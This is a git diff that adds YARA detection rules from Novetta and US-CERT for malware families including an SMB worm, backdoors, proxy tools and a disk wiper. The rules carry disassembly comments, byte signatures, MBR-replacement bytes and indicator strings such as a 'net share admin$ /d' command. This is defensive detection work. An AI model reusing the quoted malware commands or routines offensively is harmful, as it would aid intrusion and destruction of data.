+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		/*
+			.text:00402A65                 push    8004667Eh       ; cmd
+			.text:00402A6A                 push    esi             ; s
+			.text:00402A6B                 call    ioctlsocket
+			.text:00402A70                 push    32h             ; dwMilliseconds
+			.text:00402A72                 mov     [esp+24Ch+writefds.fd_array], esi
+			.text:00402A79                 mov     [esp+24Ch+writefds.fd_count], 1
+			.text:00402A84                 mov     [esp+24Ch+timeout.tv_sec], 3
+			.text:00402A8C                 mov     [esp+24Ch+timeout.tv_usec], 0			
+		*/
+		$spreaderSetup = {68 7E 66 04 80 
+											5? 
+											E8 [4] 
+											6A 32 
+											89 B4 [5]
+											C7 84 [5] 01 00 00 00 
+											C7 44 [2] 03 00 00 00 
+											C7 44 [2] 00 00 00 00 }
+
+	condition:
+		$spreaderSetup in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule SierraBravo_packed
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "cmd.exe /c \"net share admin$ /d\""
+		$ = "MAIL FROM:<"
+		$ = ".petite"
+		$ = "Subject: %s|%s|%s"
+	condition:
+		3 of them
+	
+}
+
diff --git a/yara-mikesxrs/Novetta/SierraCharlie.yara b/yara-mikesxrs/Novetta/SierraCharlie.yara
new file mode 100644
index 0000000..5b6da47
--- /dev/null
+++ b/yara-mikesxrs/Novetta/SierraCharlie.yara
@@ -0,0 +1,39 @@
+import "pe"
+
+rule SierraCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "f4750e1d82b08318bdc1eb6d3399dee52750250f7959a5e4f83245449f399698.bin"
+
+	strings:
+	/*
+		8B 0D 50 A7 56 00  mov     ecx, DnsFree
+		81 F6 8C 3F 7C 5E  xor     esi, 5E7C3F8Ch
+		6A 01              push    1               ; _DWORD
+		50                 push    eax             ; _DWORD
+		85 C9              test    ecx, ecx
+		74 3A              jz      short loc_40580B
+		FF D1              call    ecx ; DnsFree
+	*/
+
+	$dnsResolve = {
+			8B 0D 50 A7 56 00 
+			81 F6 8C 3F 7C 5E 
+			6A 01 
+			50 
+			85 C9 
+			74 3A 
+			FF D1 
+		}
+		
+	$file1 = "wmplog21t.sqm"
+	$file2 = "wmplog15r.sqm"
+	$file3 = "wmplog09c.sqm"
+		
+
+	condition:
+		$dnsResolve in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or 2 of ($file*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/SierraJuliettMikeOne.yara b/yara-mikesxrs/Novetta/SierraJuliettMikeOne.yara
new file mode 100644
index 0000000..9cdef4c
--- /dev/null
+++ b/yara-mikesxrs/Novetta/SierraJuliettMikeOne.yara
@@ -0,0 +1,34 @@
+import "pe"
+
+rule SierraJuliettMikeOne
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$commKey = { 10 20 30 40 50 60 70 80 90 11 12 13 1A FF EE 48 }
+		/*
+		.text:10001850                 push    7530h           ; dwTimeout
+		.text:10001855                 lea     eax, [esp+420h+a2]
+		.text:10001859                 push    4               ; len
+		.text:1000185B                 push    eax             ; a2
+		.text:1000185C                 push    esi             ; s
+		.text:1000185D                 mov     dword ptr [esp+42Ch+a2], 1000h
+		.text:10001865                 call    CommSendWithTimeout
+		.text:1000186A                 add     esp, 14h
+		.text:1000186D                 cmp     eax, 0FFFFFFFFh
+		.text:10001870                 jz      loc_10001915
+		.text:10001876                 lea     ecx, [esp+418h+random]
+		.text:1000187A                 push    ecx             ; a1
+		.text:1000187B                 call    Generate16ByteRandomBuffer
+		.text:10001880                 push    0               ; fEncrypt
+		.text:10001882                 push    7530h           ; dwTimeout		
+		*/
+		$handshake = { 68 30 75 00 00 [4] 6A 04 5? 5? C? [3] 00 10 00 00 E8 [7] 83 F8 FF 0F 84 ?? ?? 00 00 8? [3] 5? E8 [4] 6A 00 68 30 75 00 00 }
+		
+	condition:
+		$commKey in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		and $handshake in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/SierraJuliettMikeTwo.yara b/yara-mikesxrs/Novetta/SierraJuliettMikeTwo.yara
new file mode 100644
index 0000000..72b1c1e
--- /dev/null
+++ b/yara-mikesxrs/Novetta/SierraJuliettMikeTwo.yara
@@ -0,0 +1,73 @@
+import "pe"
+
+
+rule RomeoJuliettMikeTwo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "819722ba1c5b9d0b360c54cbdd3811d0cac1a9230720b3ed4815f78bcacb3653_d1ba9ba2987f59d99ce4bf09393c0521c4d1f2961c5aeed4e0bf86e78303d27c"
+
+	strings:
+	/*
+		81 7C 24 24 33 27 00 00  cmp     [esp+1Ch+dwBytesToRead], 2733h
+		75 7F                    jnz     short loc_10002B74
+		8D 54 24 14              lea     edx, [esp+1Ch+var_8]
+		52                       push    edx             ; Time
+		FF 15 5C 11 02 10        call    ds:time
+		8B 44 24 14              mov     eax, [esp+20h+var_C]
+		83 C4 04                 add     esp, 4
+		8B C8                    mov     ecx, eax
+		40                       inc     eax
+		83 F9 64                 cmp     ecx, 64h
+	*/
+
+	$recvFunc = { 81 [3] 33 27 00 00 75 ?? 8D [3] 5? FF 15 [4] 8B [3] 83 ?? 04 8B ?? 4? 83 ?? 64 }
+
+	/*
+		E8 74 31 00 00     call    GetStringByIndex
+		8B 7C 24 14        mov     edi, [esp+0Ch+dwFuncIndex]
+		8B F0              mov     esi, eax
+		57                 push    edi             ; index
+		E8 68 31 00 00     call    GetStringByIndex
+		83 C4 08           add     esp, 8
+		85 F6              test    esi, esi
+		74 21              jz      short loc_10001040
+		85 C0              test    eax, eax
+		74 1D              jz      short loc_10001040
+		56                 push    esi             ; lpLibFileName
+		FF 15 2C 10 02 10  call    ds:LoadLibraryA
+		57                 push    edi             ; index
+		8B F0              mov     esi, eax
+		E8 4E 31 00 00     call    GetStringByIndex
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; lpProcName
+		56                 push    esi             ; hModule
+		FF 15 5C 10 02 10  call    ds:GetProcAddress
+	*/
+
+	$apiLoader = { E8 [4] 8B [3] 8B ?? 5? E8 [4] 83 C4 08 85 ?? 74 ?? 85 C0 74 ?? 5? FF 15 [4] 5? 8B ?? E8 [4] 83 C4 04 5? 5? FF 15 }
+
+	/*
+		68 B8 0B 00 00           push    0BB8h           ; dwMilliseconds
+		FF 15 18 10 02 10        call    ds:Sleep
+		6A 01                    push    1               ; dwTimeout
+		8D 4C 24 10              lea     ecx, [esp+4C0h+peerEntries]
+		68 B0 04 00 00           push    4B0h            ; dwBytesToRead
+		51                       push    ecx             ; pvRecvBuffer
+		8B CE                    mov     ecx, esi        ; this
+		C7 44 24 14 B0 04 00 00  mov     [esp+4C8h+Memory], 4B0h
+		E8 25 F4 FF FF           call    CClientConnection__RecvData
+		83 F8 FF                 cmp     eax, 0FFFFFFFFh
+	*/
+
+	$recvPeers = { 68 B8 0B 00 00 FF 15 [4] 6A 01 [0-4] 68 B0 04 00 00 51 8B ?? [1-4] B0 04 00 00 E8 [4] 83 F8 FF	}		
+		
+	$logFileName = "KBD_%%s_%%02d%%02d%%02d%%02d%%02d.CAT"
+	
+	condition:
+		$recvFunc in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $apiLoader in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $recvPeers in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $logFileName
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/TangoAlfa.yara b/yara-mikesxrs/Novetta/TangoAlfa.yara
new file mode 100644
index 0000000..023b1af
--- /dev/null
+++ b/yara-mikesxrs/Novetta/TangoAlfa.yara
@@ -0,0 +1,19 @@
+rule TangoAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		// $firewall is a shared code string
+		$firewall = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+		
+		$testStatus1 = "*****[Start Test -> %s:%d]" wide
+		$testStatus2 = "*****[Relay Connect " wide
+		$testStatus3 = "*****[Listen Port %d] - " wide
+		$testStatus4 = "*****[Error Socket]" wide
+		$testStatus5 = "*****[End Test]" wide
+
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/TangoBravo.yara b/yara-mikesxrs/Novetta/TangoBravo.yara
new file mode 100644
index 0000000..f0f9e18
--- /dev/null
+++ b/yara-mikesxrs/Novetta/TangoBravo.yara
@@ -0,0 +1,43 @@
+import "pe"
+
+rule TangoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "2aa9cd3a2db2bd9dbe5ee36d9a5fc42b50beca806f9d644f387d5a680a580896"
+
+	strings:
+	/*
+		50                 push    eax             ; SubStr
+		55                 push    ebp             ; Str
+		FF D3              call    ebx ; strstr
+		83 C4 08           add     esp, 8
+		85 C0              test    eax, eax
+		75 1A              jnz     short loc_401131
+		8A 8E 08 01 00 00  mov     cl, [esi+108h]
+		81 C6 08 01 00 00  add     esi, 108h
+		47                 inc     edi
+		8B C6              mov     eax, esi
+		84 C9              test    cl, cl
+		75 E2              jnz     short loc_40110C
+	*/
+
+	$targetDomainCheck = {
+			5? 
+			5? 
+			FF ?? 
+			83 C4 08 
+			85 C0 
+			75 ?? 
+			8? ?? 08 01 00 00 
+			8? ?? 08 01 00 00 
+			4? 
+			8B ?? 
+			84 ?? 
+			75  
+		}
+
+	condition:
+		$targetDomainCheck in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/UniformAlfa.yara b/yara-mikesxrs/Novetta/UniformAlfa.yara
new file mode 100644
index 0000000..30dee8a
--- /dev/null
+++ b/yara-mikesxrs/Novetta/UniformAlfa.yara
@@ -0,0 +1,37 @@
+import "pe"
+
+rule UniformAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a24377681cf56c712e544af01ac8a5dbaa81d16851a17a147bbf5132890d7437"
+
+	strings:
+	/*
+		8D 44 24 10        lea     eax, [esp+2Ch+ServiceStatus]
+		50                 push    eax             ; lpServiceStatus
+		6A 01              push    1               ; dwControl
+		56                 push    esi             ; hService
+		FF D3              call    ebx ; ControlService
+		83 7C 24 14 01     cmp     [esp+2Ch+ServiceStatus.dwCurrentState], 1
+		75 EF              jnz     short loc_4010A5
+		56                 push    esi             ; hService
+		FF 15 08 70 40 00  call    ds:DeleteService
+	*/
+
+	$stopDeleteService = {
+			8D [3] 
+			5? 
+			6A 01 
+			5? 
+			FF D? 
+			83 [3] 01 
+			75 ?? 
+			5? 
+			FF 15  
+		}
+
+	condition:
+		$stopDeleteService in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/UniformJuliett.yara b/yara-mikesxrs/Novetta/UniformJuliett.yara
new file mode 100644
index 0000000..25d2781
--- /dev/null
+++ b/yara-mikesxrs/Novetta/UniformJuliett.yara
@@ -0,0 +1,40 @@
+rule UniformJuliett
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Cmd03000_1a6f62e1630d512c3b67bfdbff26270177585c82802ffa834b768ff47be0a008.bin"
+
+	strings:
+		/*
+			56                 push    esi             ; hSCObject
+			FF D5              call    ebp ; CloseServiceHandle
+			68 B8 0B 00 00     push    0BB8h           ; dwMilliseconds
+			FF 15 38 70 40 00  call    ds:Sleep
+			6A 00              push    0               ; fCreateHighestLevel
+			68 60 A9 40 00     push    offset PathName ; lpPathName
+			E8 43 FE FF FF     call    RecursivelyCreateDirectories
+			83 C4 08           add     esp, 8
+			68 60 A9 40 00     push    offset PathName ; lpFileName
+			FF 15 3C 70 40 00  call    ds:DeleteFileA
+		*/
+		
+		$a = {
+				56 
+				FF D5 
+				68 B8 0B 00 00 
+				FF 15 [4] 
+				6A 00 
+				68 [4]
+				E8 [4]
+				83 C4 08 
+				68 [4]
+				FF 15 
+			}
+		
+		$ = "wauserv.dll"
+		$ = "Rpcss"
+	
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Novetta/WhiskeyAlfa.yara b/yara-mikesxrs/Novetta/WhiskeyAlfa.yara
new file mode 100644
index 0000000..58df06d
--- /dev/null
+++ b/yara-mikesxrs/Novetta/WhiskeyAlfa.yara
@@ -0,0 +1,69 @@
+import "pe"
+
+rule WhiskeyAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "1c66e67a8531e3ff1c64ae57e6edfde7bef2352d.ex_"
+
+	strings:
+	/*
+		E8 77 07 00 00     call    _rand
+		B1 FB              mov     cl, 0FBh
+		F6 E9              imul    cl
+		88 44 34 08        mov     [esp+esi+10008h+randomData], al
+		46                 inc     esi
+		81 FE 00 00 01 00  cmp     esi, 10000h
+		7C EA              jl      short loc_402E8D
+	*/
+
+	$randomBuffer = {
+			E8 [4] 
+			B1 ?? 
+			F6 E9 
+			88 [3] 
+			4? 
+			81 ?? 00 00 01 00 
+			7C  
+		}
+
+	/*
+		89 58 09              mov     [eax+9], ebx
+		C7 40 65 00 00 02 00  mov     dword ptr [eax+65h], 20000h
+		C7 40 15 04 00 00 00  mov     dword ptr [eax+15h], 4
+		C6 40 08 08           mov     byte ptr [eax+8], 8
+		C7 40 04 00 02 00 00  mov     dword ptr [eax+4], 200h
+		89 18                 mov     [eax], ebx
+		89 58 0D              mov     [eax+0Dh], ebx
+		C7 40 11 01 00 00 00  mov     dword ptr [eax+11h], 1
+		89 58 69              mov     [eax+69h], ebx
+		89 58 19              mov     [eax+19h], ebx
+		B8 01 00 00 00        mov     eax, 1
+	*/
+	$mbrDiskInfo = {
+			89 ?? 09 
+			C7 ?? 65 00 00 02 00 
+			C7 ?? 15 04 00 00 00 
+			C6 ?? 08 08 
+			C7 ?? 04 00 02 00 00 
+			89 ?? 
+			89 ?? 0D
+			C7 ?? 11 01 00 00 00 
+			89 ?? 69 
+			89 ?? 19 
+			B8 01 00 00 00 
+		}
+		
+
+		// the replacement MBRs in both encoded (XOR 0x53) and decoded form		
+		$mbrReplacement_Decoded = { B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 }
+		$mbrReplacement_Encoded = { E7 10 E3 53 9E 40 AD 91 D3 A9 D7 2F A0 E1 D3 EC 36 2F D2 56 53 57 D0 06 51 53 D0 06 57 53 }
+	
+		$licKey = "99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000DBBC7EF1579D4F"
+		
+	condition:
+		$licKey or $mbrReplacement_Decoded or $mbrReplacement_Encoded
+		or $randomBuffer in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $mbrDiskInfo in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/WhiskeyBravo.yara b/yara-mikesxrs/Novetta/WhiskeyBravo.yara
new file mode 100644
index 0000000..c65a80c
--- /dev/null
+++ b/yara-mikesxrs/Novetta/WhiskeyBravo.yara
@@ -0,0 +1,49 @@
+import "pe"
+
+rule WhiskeyBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "74eac0461c40316689ac2d598f606caa3965195b22f23d5acefeedfcdf056c5b"
+		Source = "41badf10ef6f469dd1c3be201aba809f9c42f86ad77d7f83bc3895bfa289c635"
+		Source = "d079a266ed2a852c33cdac3df115d163ebbf2c8dae32d935e895cf8193163b13"
+
+	strings:
+	/*
+		6A 04              push    4               ; MaxCount  <--- this arg is not found in some variants (41bad..) as wcscmp is used instead
+		68 08 82 00 10     push    offset Str2     ; ".doc"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp            <--- d07... variant uses a direct call instead
+		83 C4 0C           add     esp, 0Ch										<--- when wcscmp is used, this is add esp, 8
+		85 C0              test    eax, eax
+		0F 84 5B 02 00 00  jz      loc_100017D5
+		6A 05              push    5               ; MaxCount
+		68 FC 81 00 10     push    offset a_docx   ; ".docx"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+		83 C4 0C           add     esp, 0Ch
+		85 C0              test    eax, eax
+		0F 84 46 02 00 00  jz      loc_100017D5
+		6A 04              push    4               ; MaxCount
+		68 F0 81 00 10     push    offset a_docm   ; ".docm"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+		83 C4 0C           add     esp, 0Ch
+		85 C0              test    eax, eax
+		0F 84 31 02 00 00  jz      loc_100017D5
+		6A 04              push    4               ; MaxCount
+		68 E4 81 00 10     push    offset a_wpd    ; ".wpd"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+	*/
+
+	$a = {68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 [4] [0-2] 68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 [4] [0-2] 68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 }
+
+	$ext1 = ".wpd" wide nocase
+	$ext2 = ".doc" wide nocase
+	$ext3 = ".hwp" wide nocase
+	
+	condition:
+		2 of ($ext*) and $a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/WhiskeyCharlie.yara b/yara-mikesxrs/Novetta/WhiskeyCharlie.yara
new file mode 100644
index 0000000..3ce4d16
--- /dev/null
+++ b/yara-mikesxrs/Novetta/WhiskeyCharlie.yara
@@ -0,0 +1,83 @@
+import "pe"
+
+rule WhiskeyCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "47ff4f73738acc2f8433dccb2caf980d7444d723ccf2968d69f88f8f96405f96"
+
+	strings:
+	/*
+		66 89 55 DC     mov     [ebp+SystemTime.wYear], dx
+		E8 1E 16 00 00  call    _rand
+		6A 0C           push    0Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		42              inc     edx
+		66 89 55 DE     mov     [ebp+SystemTime.wMonth], dx
+		E8 0E 16 00 00  call    _rand
+		6A 1C           push    1Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		42              inc     edx
+		66 89 55 E2     mov     [ebp+SystemTime.wDay], dx
+		E8 FE 15 00 00  call    _rand
+		6A 18           push    18h
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		66 89 55 E4     mov     [ebp+SystemTime.wHour], dx
+		E8 EF 15 00 00  call    _rand
+		6A 3C           push    3Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		66 89 55 E6     mov     [ebp+SystemTime.wMinute], dx
+		E8 E0 15 00 00  call    _rand
+		6A 3C           push    3Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+	*/
+
+	$a = {
+			66 89 55 DC 
+			E8 [4] 
+			6A 0C 
+			99 
+			59 
+			F7 F9 
+			42 
+			66 89 55 DE 
+			E8 [4] 
+			6A 1C 
+			99 
+			59 
+			F7 F9 
+			42 
+			66 89 55 E2 
+			E8 [4] 
+			6A 18 
+			99 
+			59 
+			F7 F9 
+			66 89 55 E4 
+			E8 [4] 
+			6A 3C 
+			99 
+			59 
+			F7 F9 
+			66 89 55 E6 
+			E8 [4] 
+			6A 3C 
+			99 
+			59 
+			F7 F9 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/WhiskeyDelta.yara b/yara-mikesxrs/Novetta/WhiskeyDelta.yara
new file mode 100644
index 0000000..0d02788
--- /dev/null
+++ b/yara-mikesxrs/Novetta/WhiskeyDelta.yara
@@ -0,0 +1,66 @@
+import "pe"
+
+rule WhiskeyDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group  trig@novetta.com"
+		Source = "41badf10ef6f469dd1c3be201aba809f9c42f86ad77d7f83bc3895bfa289c635"
+
+	strings:
+	/*
+		F3 A5           rep movsd
+		8B 7C 24 30     mov     edi, [esp+28h+arg_4]
+		85 FF           test    edi, edi
+		7E 3A           jle     short loc_402018
+		8B 74 24 2C     mov     esi, [esp+28h+arg_0]
+		8A 44 24 08     mov     al, [esp+28h+var_20]
+		53              push    ebx
+		8A 4C 24 21     mov     cl, [esp+2Ch+var_B]
+		8A 5C 24 2B     mov     bl, [esp+2Ch+var_1]
+		32 C1           xor     al, cl
+		8A 0C 32        mov     cl, [edx+esi]
+		32 C3           xor     al, bl
+		32 C8           xor     cl, al
+		88 0C 32        mov     [edx+esi], cl
+		B9 1E 00 00 00  mov     ecx, 1Eh
+		8A 5C 0C 0C     mov     bl, [esp+ecx+2Ch+var_20]
+		88 5C 0C 0D     mov     [esp+ecx+2Ch+var_1F], bl
+		49              dec     ecx
+		83 F9 FF        cmp     ecx, 0FFFFFFFFh
+		7F F2           jg      short loc_402000
+		42              inc     edx
+	*/
+
+	$decryption = {
+			F3 A5 
+			8B 7C 24 30 
+			85 FF 
+			7E ?? 
+			8B 74 24 2C 
+			8A 44 24 08 
+			53 
+			8A 4C 24 21 
+			8A 5C 24 2B 
+			32 C1 
+			8A 0C 32 
+			32 C3 
+			32 C8 
+			88 0C 32 
+			B9 1E 00 00 00 
+			8A 5C 0C 0C 
+			88 5C 0C 0D 
+			49 
+			83 F9 FF 
+			7F ?? 
+			42 
+		}
+
+	$s1 = "=====IsFile=====" wide
+	$s2 = "=====4M=====" wide
+	$s3 = "=====IsBackup=====" wide
+	
+	condition:
+		2 of ($s*) 
+		or $decryption in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/cert_wiper.yara b/yara-mikesxrs/Novetta/cert_wiper.yara
new file mode 100644
index 0000000..b92f4ae
--- /dev/null
+++ b/yara-mikesxrs/Novetta/cert_wiper.yara
@@ -0,0 +1,261 @@
+// From CERT report https://www.us-cert.gov/ncas/alerts/TA14-353A
+rule SMB_Worm_Tool
+{
+	
+	strings:	
+		$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19"
+		$STR2 = "EVERYONE"
+		$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001"
+		$STR4 = "\\KB25468.dat" 
+	
+	condition:
+		( uint16(0) == 0x5A4D or 
+		  uint16(0) == 0xCFD0 or 
+		  uint16(0) == 0xC3D4 or 
+		  uint32(0) == 0x46445025 or 
+		  uint32(1) == 0x6674725C) 
+		and all of them
+}
+
+rule Lightweight_Backdoor1
+{
+
+	strings:
+		$STR1 = "NetMgStart"
+		$STR2 = "Netmgmt.srg"
+		
+	condition:
+		(uint16(0) == 0x5A4D) and all of them
+}
+rule LightweightBackdoor2
+{
+	strings:
+		$STR1 = "prxTroy" ascii wide nocase
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+rule LightweightBackdoor3
+{
+	
+	strings:
+		$strl  = { C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1  62 C6 45 F2 6C } // 'dayipmr.tbl' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+rule LightweightBackdoor4
+{
+	strings:	
+		$strl  = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule LightweightBackdoor5
+{
+	strings:
+		$strl  = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ rule LightweightBackdoor6
+{
+	strings:
+		$STR1 = { 8A 10 80 ?? 4E 80 ?? 79 88 10}
+		$STR2 = { 8A 10 80?? 79 80 ?? 4E 88 10}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule ProxyTool1
+{
+	strings:
+		$STR1 = "pmsconfig.msi" wide
+		$STR2 = "pmslog.msi" wide
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+rule ProxyTool2
+{
+strings:
+	$STR1 = { 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 } // '%SystemRoot%\System32\svchost.exe -k' xor A7
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+
+rule ProxyTool3
+{
+	strings:
+		$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2
+}
+ 
+rule DestructiveHardDriveTool1
+{
+	strings:
+		$str0= "MZ"
+		$str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 }
+		$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 }
+	
+	condition:
+		$str0 at 0 and $xorInLoop and #str1 > 300
+}
+
+/*
+rule DestructiveTargetCleaningTool1
+{
+	strings:
+		$s1  = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+*/
+
+/*
+rule DestructiveTargetCleaningTool2
+{
+	strings:
+		$secureWipe = { 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 
